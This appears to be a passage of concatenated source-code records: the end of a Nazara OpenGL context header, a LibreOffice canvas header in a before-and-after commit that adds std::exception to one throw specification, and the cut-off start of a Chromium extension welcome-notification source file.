TextureFilterAnisotropic\n\t};\n\n\tenum class ExtensionStatus\n\t{\n\t\tNotSupported,\n\n\t\tARB,\n\t\tEXT,\n\t\tKHR\n\t};\n\n\tenum class FramebufferTarget\n\t{\n\t\tDraw,\n\t\tRead\n\t};\n\n\tenum class TextureTarget\n\t{\n\t\tCubemap,\n\t\tCubemapNegativeX,\n\t\tCubemapNegativeY,\n\t\tCubemapNegativeZ,\n\t\tCubemapPositiveX,\n\t\tCubemapPositiveY,\n\t\tCubemapPositiveZ,\n\t\tTarget2D,\n\t\tTarget2D_Array,\n\t\tTarget3D,\n\n\t\tMax = Target3D\n\t};\n\n\tstruct ContextParams\n\t{\n\t\tContextType type = ContextType::OpenGL_ES;\n\t\tbool doubleBuffering = true;\n\t\tunsigned int bitsPerPixel = 32;\n\t\tunsigned int depthBits = 24;\n\t\tunsigned int glMajorVersion = 0;\n\t\tunsigned int glMinorVersion = 0;\n\t\tunsigned int sampleCount = 1;\n\t\tunsigned int stencilBits = 8;\n\t};\n\n\tclass NAZARA_OPENGLRENDERER_API Context\n\t{\n\t\tstruct SymbolLoader;\n\t\tfriend SymbolLoader;\n\n\t\tpublic:\n\t\t\tinline Context(const OpenGLDevice* device);\n\t\t\tvirtual ~Context();\n\n\t\t\tvoid BindBuffer(BufferTarget target, GLuint buffer, bool force = false) const;\n\t\t\tvoid BindFramebuffer(GLuint fbo) const;\n\t\t\tvoid BindFramebuffer(FramebufferTarget target, GLuint fbo) const;\n\t\t\tvoid BindProgram(GLuint program) const;\n\t\t\tvoid BindSampler(UInt32 textureUnit, GLuint sampler) const;\n\t\t\tvoid BindTexture(TextureTarget target, GLuint texture) const;\n\t\t\tvoid BindTexture(UInt32 textureUnit, TextureTarget target, GLuint texture) const;\n\t\t\tvoid BindUniformBuffer(UInt32 uboUnit, GLuint buffer, GLintptr offset, GLsizeiptr size) const;\n\t\t\tvoid BindVertexArray(GLuint vertexArray, bool force = false) const;\n\n\t\t\tbool ClearErrorStack() const;\n\n\t\t\tvirtual void EnableVerticalSync(bool enabled) = 0;\n\n\t\t\tinline const OpenGLDevice* GetDevice() const;\n\t\t\tinline ExtensionStatus GetExtensionStatus(Extension extension) const;\n\t\t\tinline GLFunction GetFunctionByIndex(std::size_t funcIndex) const;\n\t\t\tinline const OpenGLVaoCache& GetVaoCache() const;\n\t\t\tinline const ContextParams& GetParams() const;\n\n\t\t\tinline bool IsExtensionSupported(Extension extension) const;\n\t\t\tinline bool IsExtensionSupported(const std::string& extension) const;\n\n\t\t\tbool Initialize(const ContextParams& params);\n\n\t\t\tinline void NotifyBufferDestruction(GLuint buffer) const;\n\t\t\tinline void NotifyFramebufferDestruction(GLuint fbo) const;\n\t\t\tinline void NotifyProgramDestruction(GLuint program) const;\n\t\t\tinline void NotifySamplerDestruction(GLuint sampler) const;\n\t\t\tinline void NotifyTextureDestruction(GLuint texture) const;\n\t\t\tinline void NotifyVertexArrayDestruction(GLuint vao) const;\n\n\t\t\tbool ProcessErrorStack() const;\n\n\t\t\tinline void ResetColorWriteMasks() const;\n\t\t\tinline void ResetDepthWriteMasks() const;\n\t\t\tinline void ResetStencilWriteMasks() const;\n\n\t\t\tvoid SetCurrentTextureUnit(UInt32 textureUnit) const;\n\t\t\tvoid SetScissorBox(GLint x, GLint y, GLsizei width, GLsizei height) const;\n\t\t\tvoid SetViewport(GLint x, GLint y, GLsizei width, GLsizei height) const;\n\n\t\t\tvirtual void SwapBuffers() = 0;\n\n\t\t\tvoid UpdateStates(const RenderStates& renderStates, bool isViewportFlipped) const;\n\n#define NAZARA_OPENGLRENDERER_FUNC(name, sig) sig name = nullptr;\n\t\t\tNAZARA_OPENGLRENDERER_FOREACH_GLES_FUNC(NAZARA_OPENGLRENDERER_FUNC, NAZARA_OPENGLRENDERER_FUNC)\n#undef NAZARA_OPENGLRENDERER_FUNC\n\n\t\t\tstatic const Context* GetCurrentContext();\n\t\t\tstatic bool SetCurrentContext(const Context* context);\n\n\t\tprotected:\n\t\t\tvirtual bool Activate() const = 0;\n\t\t\tvirtual void Desactivate() const = 0;\n\t\t\tvirtual const Loader& GetLoader() = 0;\n\t\t\tvoid OnContextRelease();\n\n\t\t\tvirtual bool ImplementFallback(const std::string_view& function);\n\n\t\t\tstatic void NotifyContextDestruction(Context* context);\n\n\t\t\tContextParams m_params;\n\n\t\tprivate:\n\t\t\tvoid GL_APIENTRY HandleDebugMessage(GLenum source, GLenum type, GLuint id, GLenum severity, GLsizei length, const GLchar* message) const;\n\n\t\t\tenum class FunctionIndex\n\t\t\t{\n#define NAZARA_OPENGLRENDERER_FUNC(name, sig) name,\n\t\t\t\tNAZARA_OPENGLRENDERER_FOREACH_GLES_FUNC(NAZARA_OPENGLRENDERER_FUNC, NAZARA_OPENGLRENDERER_FUNC)\n#undef NAZARA_OPENGLRENDERER_FUNC\n\n\t\t\t\tCount\n\t\t\t};\n\n\t\t\tstruct State\n\t\t\t{\n\t\t\t\tstruct Box\n\t\t\t\t{\n\t\t\t\t\tGLint x, y;\n\t\t\t\t\tGLsizei width, height;\n\t\t\t\t};\n\n\t\t\t\tstruct TextureUnit\n\t\t\t\t{\n\t\t\t\t\tGLuint sampler = 0;\n\t\t\t\t\tstd::array<GLuint, UnderlyingCast(TextureTarget::Max) + 1> textureTargets = { 0 };\n\t\t\t\t};\n\n\t\t\t\tstruct UniformBufferUnit\n\t\t\t\t{\n\t\t\t\t\tGLuint buffer = 0;\n\t\t\t\t\tGLintptr offset = 0;\n\t\t\t\t\tGLsizeiptr size = 0;\n\t\t\t\t};\n\n\t\t\t\tstd::array<GLuint, UnderlyingCast(BufferTarget::Max) + 1> bufferTargets = { 0 };\n\t\t\t\tstd::vector<TextureUnit> textureUnits;\n\t\t\t\tstd::vector<UniformBufferUnit> uboUnits;\n\t\t\t\tBox scissorBox;\n\t\t\t\tBox viewport;\n\t\t\t\tGLuint boundProgram = 0;\n\t\t\t\tGLuint boundDrawFBO = 0;\n\t\t\t\tGLuint boundReadFBO = 0;\n\t\t\t\tGLuint boundVertexArray = 0;\n\t\t\t\tUInt32 currentTextureUnit = 0;\n\t\t\t\tRenderStates renderStates;\n\t\t\t};\n\n\t\t\tstd::array<ExtensionStatus, UnderlyingCast(Extension::Max) + 1> m_extensionStatus;\n\t\t\tstd::array<GLFunction, UnderlyingCast(FunctionIndex::Count)> m_originalFunctionPointer;\n\t\t\tstd::unordered_set<std::string> m_supportedExtensions;\n\t\t\tOpenGLVaoCache m_vaoCache;\n\t\t\tconst OpenGLDevice* m_device;\n\t\t\tmutable State m_state;\n\t};\n}\n\n#include <Nazara\/OpenGLRenderer\/Wrapper\/Context.inl>\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed\n * with this work for additional information regarding copyright\n * ownership. The ASF licenses this file to you under the Apache\n * License, Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License. You may obtain a copy of\n * the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#ifndef INCLUDED_CANVAS_BASE_BUFFEREDGRAPHICDEVICEBASE_HXX\n#define INCLUDED_CANVAS_BASE_BUFFEREDGRAPHICDEVICEBASE_HXX\n\n#include <com\/sun\/star\/awt\/XWindow2.hpp>\n#include <com\/sun\/star\/awt\/XTopWindow.hpp>\n#include <com\/sun\/star\/awt\/XWindowListener.hpp>\n\n#include <canvas\/canvastools.hxx>\n#include <canvas\/base\/graphicdevicebase.hxx>\n\n\n\/* Definition of BufferedGraphicDeviceBase class *\/\n\nnamespace canvas\n{\n \/** Helper template base class for XGraphicDevice implementations\n on windows.\n\n Use this base class if your target device is a\n window. Additionally to GraphicDeviceBase, this template\n provides an implementation of the awt::XWindowListener\n interface, to receive notifications about state changes of the\n associated window.\n\n @tpl Base\n Base class to use, most probably one of the\n WeakComponentImplHelperN templates with the appropriate\n interfaces. At least XGraphicDevice should be among them (why else\n would you use this template, then?). Base class must have an\n Base( const Mutex& ) constructor (like the\n WeakComponentImplHelperN templates have). As the very least,\n the base class must be derived from uno::XInterface, as some\n error reporting mechanisms rely on that.\n\n @tpl DeviceHelper\n Device helper implementation for the backend in question. This\n object will be held as a member of this template class, and\n basically gets forwarded all XGraphicDevice API calls that\n could not be handled generically.\n\n @tpl Mutex\n Lock strategy to use. Defaults to using the\n OBaseMutex-provided lock. Everytime one of the methods is\n entered, an object of type Mutex is created with m_aMutex as\n the sole parameter, and destroyed again when the method scope\n is left.\n\n @tpl UnambiguousBase\n Optional unambiguous base class for XInterface of Base. It's\n sometimes necessary to specify this parameter, e.g. if Base\n derives from multiple UNO interface (were each provides its\n own version of XInterface, making the conversion ambiguous)\n *\/\n template< class Base,\n class DeviceHelper,\n class Mutex=::osl::MutexGuard,\n class UnambiguousBase=::com::sun::star::uno::XInterface > class BufferedGraphicDeviceBase :\n public GraphicDeviceBase< Base, DeviceHelper, Mutex, UnambiguousBase >\n {\n public:\n typedef GraphicDeviceBase< Base, DeviceHelper, Mutex, UnambiguousBase > BaseType;\n typedef BufferedGraphicDeviceBase OurType;\n typedef Mutex MutexType;\n\n BufferedGraphicDeviceBase() :\n mxWindow(),\n maBounds(),\n mbIsVisible( false ),\n mbIsTopLevel( false )\n {\n BaseType::maPropHelper.addProperties( PropertySetHelper::MakeMap\n (\"Window\",\n boost::bind(&OurType::getXWindow,\n this)));\n }\n\n \/\/ XGraphicDevice\n virtual ::com::sun::star::uno::Reference< ::com::sun::star::rendering::XBufferController > SAL_CALL getBufferController( ) throw (::com::sun::star::uno::RuntimeException)\n {\n return this;\n }\n\n \/\/ XBufferController\n virtual ::sal_Int32 SAL_CALL createBuffers( ::sal_Int32 nBuffers ) throw (::com::sun::star::lang::IllegalArgumentException,\n ::com::sun::star::uno::RuntimeException)\n {\n tools::verifyRange( nBuffers, (sal_Int32)1 );\n\n MutexType aGuard( BaseType::m_aMutex );\n\n return BaseType::maDeviceHelper.createBuffers( nBuffers );\n }\n\n virtual void SAL_CALL destroyBuffers( ) throw (::com::sun::star::uno::RuntimeException)\n {\n MutexType aGuard( BaseType::m_aMutex );\n\n BaseType::maDeviceHelper.destroyBuffers();\n }\n\n virtual ::sal_Bool SAL_CALL showBuffer( ::sal_Bool bUpdateAll ) throw (::com::sun::star::uno::RuntimeException)\n {\n MutexType aGuard( BaseType::m_aMutex );\n\n return BaseType::maDeviceHelper.showBuffer( mbIsVisible, bUpdateAll );\n }\n\n virtual ::sal_Bool SAL_CALL switchBuffer( ::sal_Bool bUpdateAll ) throw (::com::sun::star::uno::RuntimeException)\n {\n MutexType aGuard( BaseType::m_aMutex );\n\n return BaseType::maDeviceHelper.switchBuffer( mbIsVisible, bUpdateAll );\n }\n\n\n \/** Set corresponding canvas window\n\n Use this method to set the window this canvas displays\n on. Comes in handy when the canvas needs to adapt size or\n output position to the changing window.\n\n Whenever the bounds of the window change, <code>void\n notifySizeUpdate( const awt::Rectangle& rBounds )<\/code>\n is called, with rBounds the window bound rect relative to\n the frame window.\n *\/\n void setWindow( const ::com::sun::star::uno::Reference<\n ::com::sun::star::awt::XWindow2 >& rWindow )\n {\n if( mxWindow.is() )\n mxWindow->removeWindowListener( this );\n\n mxWindow = rWindow;\n\n if( mxWindow.is() )\n {\n mbIsVisible = mxWindow->isVisible();\n mbIsTopLevel =\n ::com::sun::star::uno::Reference< ::com::sun::star::awt::XTopWindow >(\n mxWindow,\n ::com::sun::star::uno::UNO_QUERY ).is();\n\n maBounds = transformBounds( mxWindow->getPosSize() );\n mxWindow->addWindowListener( this );\n }\n }\n\n ::com::sun::star::uno::Reference< ::com::sun::star::awt::XWindow2 > getWindow() const\n {\n return mxWindow;\n }\n\n ::com::sun::star::uno::Any getXWindow() const\n {\n return ::com::sun::star::uno::makeAny(mxWindow);\n }\n\n virtual void disposeThis()\n {\n typename BaseType::MutexType aGuard( BaseType::m_aMutex );\n\n if( mxWindow.is() )\n {\n mxWindow->removeWindowListener(this);\n mxWindow.clear();\n }\n\n \/\/ pass on to base class\n BaseType::disposeThis();\n }\n\n ::com::sun::star::awt::Rectangle transformBounds( const ::com::sun::star::awt::Rectangle& rBounds )\n {\n \/\/ notifySizeUpdate's bounds are relative to the toplevel\n \/\/ window\n if( !mbIsTopLevel )\n return tools::getAbsoluteWindowRect(\n rBounds,\n mxWindow );\n else\n return ::com::sun::star::awt::Rectangle( 0,0,rBounds.Width,rBounds.Height );\n }\n\n void boundsChanged( const ::com::sun::star::awt::WindowEvent& e )\n {\n typename BaseType::MutexType aGuard( BaseType::m_aMutex );\n\n const ::com::sun::star::awt::Rectangle& rNewBounds(\n transformBounds(\n ::com::sun::star::awt::Rectangle( e.X,\n e.Y,\n e.Width,\n e.Height )));\n\n if( rNewBounds.X != maBounds.X ||\n rNewBounds.Y != maBounds.Y ||\n rNewBounds.Width != maBounds.Width ||\n rNewBounds.Height != maBounds.Height )\n {\n maBounds = rNewBounds;\n BaseType::maDeviceHelper.notifySizeUpdate( maBounds );\n }\n }\n\n \/\/ XWindowListener\n virtual void disposeEventSource( const ::com::sun::star::lang::EventObject& Source ) throw (::com::sun::star::uno::RuntimeException)\n {\n typename BaseType::MutexType aGuard( BaseType::m_aMutex );\n\n if( Source.Source == mxWindow )\n mxWindow.clear();\n\n BaseType::disposeEventSource(Source);\n }\n\n virtual void SAL_CALL windowResized( const ::com::sun::star::awt::WindowEvent& e ) throw (::com::sun::star::uno::RuntimeException)\n {\n boundsChanged( e );\n }\n\n virtual void SAL_CALL windowMoved( const ::com::sun::star::awt::WindowEvent& e ) throw (::com::sun::star::uno::RuntimeException)\n {\n boundsChanged( e );\n }\n\n virtual void SAL_CALL windowShown( const ::com::sun::star::lang::EventObject& ) throw (::com::sun::star::uno::RuntimeException)\n {\n typename BaseType::MutexType aGuard( BaseType::m_aMutex );\n\n mbIsVisible = true;\n }\n\n virtual void SAL_CALL windowHidden( const ::com::sun::star::lang::EventObject& ) throw (::com::sun::star::uno::RuntimeException)\n {\n typename BaseType::MutexType aGuard( BaseType::m_aMutex );\n\n mbIsVisible = false;\n }\n\n protected:\n ::com::sun::star::uno::Reference< ::com::sun::star::awt::XWindow2 > mxWindow;\n\n \/\/\/ Current bounds of the owning Window\n ::com::sun::star::awt::Rectangle maBounds;\n\n \/\/\/ True, if the window this canvas is contained in, is visible\n bool mbIsVisible;\n\n private:\n \/\/\/ True, if the window this canvas is contained in, is a toplevel window\n bool mbIsTopLevel;\n };\n}\n\n#endif \/\/ INCLUDED_CANVAS_BASE_BUFFEREDGRAPHICDEVICEBASE_HXX\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>coverity#1103730 Uncaught exception<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed\n * with this work for additional information regarding copyright\n * ownership. The ASF licenses this file to you under the Apache\n * License, Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License. You may obtain a copy of\n * the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#ifndef INCLUDED_CANVAS_BASE_BUFFEREDGRAPHICDEVICEBASE_HXX\n#define INCLUDED_CANVAS_BASE_BUFFEREDGRAPHICDEVICEBASE_HXX\n\n#include <com\/sun\/star\/awt\/XWindow2.hpp>\n#include <com\/sun\/star\/awt\/XTopWindow.hpp>\n#include <com\/sun\/star\/awt\/XWindowListener.hpp>\n\n#include <canvas\/canvastools.hxx>\n#include <canvas\/base\/graphicdevicebase.hxx>\n\n\n\/* Definition of BufferedGraphicDeviceBase class *\/\n\nnamespace canvas\n{\n \/** Helper template base class for XGraphicDevice implementations\n on windows.\n\n Use this base class if your target device is a\n window. Additionally to GraphicDeviceBase, this template\n provides an implementation of the awt::XWindowListener\n interface, to receive notifications about state changes of the\n associated window.\n\n @tpl Base\n Base class to use, most probably one of the\n WeakComponentImplHelperN templates with the appropriate\n interfaces. At least XGraphicDevice should be among them (why else\n would you use this template, then?). Base class must have an\n Base( const Mutex& ) constructor (like the\n WeakComponentImplHelperN templates have). As the very least,\n the base class must be derived from uno::XInterface, as some\n error reporting mechanisms rely on that.\n\n @tpl DeviceHelper\n Device helper implementation for the backend in question. This\n object will be held as a member of this template class, and\n basically gets forwarded all XGraphicDevice API calls that\n could not be handled generically.\n\n @tpl Mutex\n Lock strategy to use. Defaults to using the\n OBaseMutex-provided lock. Everytime one of the methods is\n entered, an object of type Mutex is created with m_aMutex as\n the sole parameter, and destroyed again when the method scope\n is left.\n\n @tpl UnambiguousBase\n Optional unambiguous base class for XInterface of Base. It's\n sometimes necessary to specify this parameter, e.g. if Base\n derives from multiple UNO interface (were each provides its\n own version of XInterface, making the conversion ambiguous)\n *\/\n template< class Base,\n class DeviceHelper,\n class Mutex=::osl::MutexGuard,\n class UnambiguousBase=::com::sun::star::uno::XInterface > class BufferedGraphicDeviceBase :\n public GraphicDeviceBase< Base, DeviceHelper, Mutex, UnambiguousBase >\n {\n public:\n typedef GraphicDeviceBase< Base, DeviceHelper, Mutex, UnambiguousBase > BaseType;\n typedef BufferedGraphicDeviceBase OurType;\n typedef Mutex MutexType;\n\n BufferedGraphicDeviceBase() :\n mxWindow(),\n maBounds(),\n mbIsVisible( false ),\n mbIsTopLevel( false )\n {\n BaseType::maPropHelper.addProperties( PropertySetHelper::MakeMap\n (\"Window\",\n boost::bind(&OurType::getXWindow,\n this)));\n }\n\n \/\/ XGraphicDevice\n virtual ::com::sun::star::uno::Reference< ::com::sun::star::rendering::XBufferController > SAL_CALL getBufferController( ) throw (::com::sun::star::uno::RuntimeException)\n {\n return this;\n }\n\n \/\/ XBufferController\n virtual ::sal_Int32 SAL_CALL createBuffers( ::sal_Int32 nBuffers ) throw (::com::sun::star::lang::IllegalArgumentException,\n ::com::sun::star::uno::RuntimeException)\n {\n tools::verifyRange( nBuffers, (sal_Int32)1 );\n\n MutexType aGuard( BaseType::m_aMutex );\n\n return BaseType::maDeviceHelper.createBuffers( nBuffers );\n }\n\n virtual void SAL_CALL destroyBuffers( ) throw (::com::sun::star::uno::RuntimeException)\n {\n MutexType aGuard( BaseType::m_aMutex );\n\n BaseType::maDeviceHelper.destroyBuffers();\n }\n\n virtual ::sal_Bool SAL_CALL showBuffer( ::sal_Bool bUpdateAll )\n throw (::com::sun::star::uno::RuntimeException,\n std::exception)\n {\n MutexType aGuard( BaseType::m_aMutex );\n\n return BaseType::maDeviceHelper.showBuffer( mbIsVisible, bUpdateAll );\n }\n\n virtual ::sal_Bool SAL_CALL switchBuffer( ::sal_Bool bUpdateAll ) throw (::com::sun::star::uno::RuntimeException)\n {\n MutexType aGuard( BaseType::m_aMutex );\n\n return BaseType::maDeviceHelper.switchBuffer( mbIsVisible, bUpdateAll );\n }\n\n\n \/** Set corresponding canvas window\n\n Use this method to set the window this canvas displays\n on. Comes in handy when the canvas needs to adapt size or\n output position to the changing window.\n\n Whenever the bounds of the window change, <code>void\n notifySizeUpdate( const awt::Rectangle& rBounds )<\/code>\n is called, with rBounds the window bound rect relative to\n the frame window.\n *\/\n void setWindow( const ::com::sun::star::uno::Reference<\n ::com::sun::star::awt::XWindow2 >& rWindow )\n {\n if( mxWindow.is() )\n mxWindow->removeWindowListener( this );\n\n mxWindow = rWindow;\n\n if( mxWindow.is() )\n {\n mbIsVisible = mxWindow->isVisible();\n mbIsTopLevel =\n ::com::sun::star::uno::Reference< ::com::sun::star::awt::XTopWindow >(\n mxWindow,\n ::com::sun::star::uno::UNO_QUERY ).is();\n\n maBounds = transformBounds( mxWindow->getPosSize() );\n mxWindow->addWindowListener( this );\n }\n }\n\n ::com::sun::star::uno::Reference< ::com::sun::star::awt::XWindow2 > getWindow() const\n {\n return mxWindow;\n }\n\n ::com::sun::star::uno::Any getXWindow() const\n {\n return ::com::sun::star::uno::makeAny(mxWindow);\n }\n\n virtual void disposeThis()\n {\n typename BaseType::MutexType aGuard( BaseType::m_aMutex );\n\n if( mxWindow.is() )\n {\n mxWindow->removeWindowListener(this);\n mxWindow.clear();\n }\n\n \/\/ pass on to base class\n BaseType::disposeThis();\n }\n\n ::com::sun::star::awt::Rectangle transformBounds( const ::com::sun::star::awt::Rectangle& rBounds )\n {\n \/\/ notifySizeUpdate's bounds are relative to the toplevel\n \/\/ window\n if( !mbIsTopLevel )\n return tools::getAbsoluteWindowRect(\n rBounds,\n mxWindow );\n else\n return ::com::sun::star::awt::Rectangle( 0,0,rBounds.Width,rBounds.Height );\n }\n\n void boundsChanged( const ::com::sun::star::awt::WindowEvent& e )\n {\n typename BaseType::MutexType aGuard( BaseType::m_aMutex );\n\n const ::com::sun::star::awt::Rectangle& rNewBounds(\n transformBounds(\n ::com::sun::star::awt::Rectangle( e.X,\n e.Y,\n e.Width,\n e.Height )));\n\n if( rNewBounds.X != maBounds.X ||\n rNewBounds.Y != maBounds.Y ||\n rNewBounds.Width != maBounds.Width ||\n rNewBounds.Height != maBounds.Height )\n {\n maBounds = rNewBounds;\n BaseType::maDeviceHelper.notifySizeUpdate( maBounds );\n }\n }\n\n \/\/ XWindowListener\n virtual void disposeEventSource( const ::com::sun::star::lang::EventObject& Source ) throw (::com::sun::star::uno::RuntimeException)\n {\n typename BaseType::MutexType aGuard( BaseType::m_aMutex );\n\n if( Source.Source == mxWindow )\n mxWindow.clear();\n\n BaseType::disposeEventSource(Source);\n }\n\n virtual void SAL_CALL windowResized( const ::com::sun::star::awt::WindowEvent& e ) throw (::com::sun::star::uno::RuntimeException)\n {\n boundsChanged( e );\n }\n\n virtual void SAL_CALL windowMoved( const ::com::sun::star::awt::WindowEvent& e ) throw (::com::sun::star::uno::RuntimeException)\n {\n boundsChanged( e );\n }\n\n virtual void SAL_CALL windowShown( const ::com::sun::star::lang::EventObject& ) throw (::com::sun::star::uno::RuntimeException)\n {\n typename BaseType::MutexType aGuard( BaseType::m_aMutex );\n\n mbIsVisible = true;\n }\n\n virtual void SAL_CALL windowHidden( const ::com::sun::star::lang::EventObject& ) throw (::com::sun::star::uno::RuntimeException)\n {\n typename BaseType::MutexType aGuard( BaseType::m_aMutex );\n\n mbIsVisible = false;\n }\n\n protected:\n ::com::sun::star::uno::Reference< ::com::sun::star::awt::XWindow2 > mxWindow;\n\n \/\/\/ Current bounds of the owning Window\n ::com::sun::star::awt::Rectangle maBounds;\n\n \/\/\/ True, if the window this canvas is contained in, is visible\n bool mbIsVisible;\n\n private:\n \/\/\/ True, if the window this canvas is contained in, is a toplevel window\n bool mbIsTopLevel;\n };\n}\n\n#endif \/\/ INCLUDED_CANVAS_BASE_BUFFEREDGRAPHICDEVICEBASE_HXX\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/notifications\/extension_welcome_notification.h\"\n\n#include \"base\/guid.h\"\n#include \"base\/lazy_instance.h\"\n#include \"base\/message_loop\/message_loop.h\"\n#include \"base\/prefs\/pref_service.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/notifications\/notification.h\"\n#include \"chrome\/browser\/prefs\/pref_service_syncable.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser_navigator.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"components\/user_prefs\/pref_registry_syncable.h\"\n#include \"grit\/generated_resources.h\"\n#include \"grit\/theme_resources.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n#include \"ui\/base\/resource\/resource_bundle.h\"\n#include \"ui\/message_center\/message_center.h\"\n#include \"ui\/message_center\/notification.h\"\n#include \"ui\/message_center\/notification_delegate.h\"\n#include \"ui\/message_center\/notification_types.h\"\n\nconst int ExtensionWelcomeNotification::kRequestedShowTimeDays = 14;\n\nnamespace {\n\nclass NotificationCallbacks\n : public message_center::NotificationDelegate {\n public:\n NotificationCallbacks(\n Profile* profile,\n const message_center::NotifierId notifier_id,\n const std::string& welcome_notification_id,\n ExtensionWelcomeNotification::Delegate* delegate)\n : profile_(profile),\n notifier_id_(notifier_id.type, notifier_id.id),\n welcome_notification_id_(welcome_notification_id),\n delegate_(delegate) {\n }\n\n \/\/ Overridden from NotificationDelegate:\n virtual void Display() OVERRIDE {}\n virtual void Error() OVERRIDE {}\n\n virtual void Close(bool by_user) OVERRIDE {\n if (by_user) {\n \/\/ Setting the preference here may cause the notification erasing\n \/\/ to reenter. Posting a task avoids this issue.\n delegate_->PostTask(\n FROM_HERE,\n base::Bind(&NotificationCallbacks::MarkAsDismissed, this));\n }\n }\n\n virtual void Click() OVERRIDE {}\n virtual void ButtonClick(int index) OVERRIDE {\n if (index == 0) {\n OpenNotificationLearnMoreTab();\n } else if (index == 1) {\n DisableNotificationProvider();\n Close(true);\n } else {\n NOTREACHED();\n }\n }\n\n private:\n void MarkAsDismissed() {\n profile_->GetPrefs()->SetBoolean(prefs::kWelcomeNotificationDismissedLocal,\n true);\n }\n\n void OpenNotificationLearnMoreTab() {\n chrome::NavigateParams params(\n profile_,\n GURL(chrome::kNotificationWelcomeLearnMoreURL),\n content::PAGE_TRANSITION_LINK);\n params.disposition = NEW_FOREGROUND_TAB;\n params.window_action = chrome::NavigateParams::SHOW_WINDOW;\n chrome::Navigate(¶ms);\n }\n\n void DisableNotificationProvider() {\n message_center::Notifier notifier(notifier_id_, base::string16(), true);\n message_center::MessageCenter* message_center =\n delegate_->GetMessageCenter();\n message_center->DisableNotificationsByNotifier(notifier_id_);\n message_center->RemoveNotification(welcome_notification_id_, true);\n message_center->GetNotifierSettingsProvider()->SetNotifierEnabled(\n notifier, false);\n }\n\n virtual ~NotificationCallbacks() {}\n\n Profile* const profile_;\n\n const message_center::NotifierId notifier_id_;\n\n std::string welcome_notification_id_;\n\n \/\/ Weak ref owned by ExtensionWelcomeNotification.\n ExtensionWelcomeNotification::Delegate* const delegate_;\n\n DISALLOW_COPY_AND_ASSIGN(NotificationCallbacks);\n};\n\nclass DefaultDelegate : public ExtensionWelcomeNotification::Delegate {\n public:\n DefaultDelegate() {}\n\n virtual message_center::MessageCenter* GetMessageCenter() OVERRIDE {\n return g_browser_process->message_center();\n }\n\n virtual base::Time GetCurrentTime() OVERRIDE {\n return base::Time::Now();\n }\n\n virtual void PostTask(\n const tracked_objects::Location& from_here,\n const base::Closure& task) OVERRIDE {\n base::MessageLoop::current()->PostTask(from_here, task);\n }\n\n private:\n DISALLOW_COPY_AND_ASSIGN(DefaultDelegate);\n};\n\n} \/\/ namespace\n\nExtensionWelcomeNotification::ExtensionWelcomeNotification(\n const std::string& extension_id,\n Profile* const profile,\n ExtensionWelcomeNotification::Delegate* const delegate)\n : notifier_id_(message_center::NotifierId::APPLICATION, extension_id),\n profile_(profile),\n delegate_(delegate) {\n welcome_notification_dismissed_pref_.Init(\n prefs::kWelcomeNotificationDismissed,\n profile_->GetPrefs(),\n base::Bind(\n &ExtensionWelcomeNotification::OnWelcomeNotificationDismissedChanged,\n base::Unretained(this)));\n welcome_notification_dismissed_local_pref_.Init(\n prefs::kWelcomeNotificationDismissedLocal,\n profile_->GetPrefs());\n}\n\n\/\/ static\nscoped_ptr<ExtensionWelcomeNotification> ExtensionWelcomeNotification::Create(\n const std::string& extension_id,\n Profile* const profile) {\n return Create(extension_id, profile, new DefaultDelegate()).Pass();\n}\n\n\/\/ static\nscoped_ptr<ExtensionWelcomeNotification> ExtensionWelcomeNotification::Create(\n const std::string& extension_id,\n Profile* const profile,\n Delegate* const delegate) {\n return scoped_ptr<ExtensionWelcomeNotification>(\n new ExtensionWelcomeNotification(extension_id, profile, delegate)).Pass();\n}\n\nExtensionWelcomeNotification::~ExtensionWelcomeNotification() {\n if (delayed_notification_) {\n delayed_notification_.reset();\n PrefServiceSyncable::FromProfile(profile_)->RemoveObserver(this);\n } else {\n HideWelcomeNotification();\n }\n}\n\nvoid ExtensionWelcomeNotification::OnIsSyncingChanged() {\n DCHECK(delayed_notification_);\n PrefServiceSyncable* const pref_service_syncable =\n PrefServiceSyncable::FromProfile(profile_);\n if (pref_service_syncable->IsSyncing()) {\n pref_service_syncable->RemoveObserver(this);\n scoped_ptr<Notification> previous_notification(\n delayed_notification_.release());\n ShowWelcomeNotificationIfNecessary(*(previous_notification.get()));\n }\n}\n\nvoid ExtensionWelcomeNotification::ShowWelcomeNotificationIfNecessary(\n const Notification& notification) {\n if ((notification.notifier_id() == notifier_id_) && !delayed_notification_) {\n PrefServiceSyncable* const pref_service_syncable =\n PrefServiceSyncable::FromProfile(profile_);\n if (pref_service_syncable->IsSyncing()) {\n PrefService* const pref_service = profile_->GetPrefs();\n if (!UserHasDismissedWelcomeNotification()) {\n const PopUpRequest pop_up_request =\n 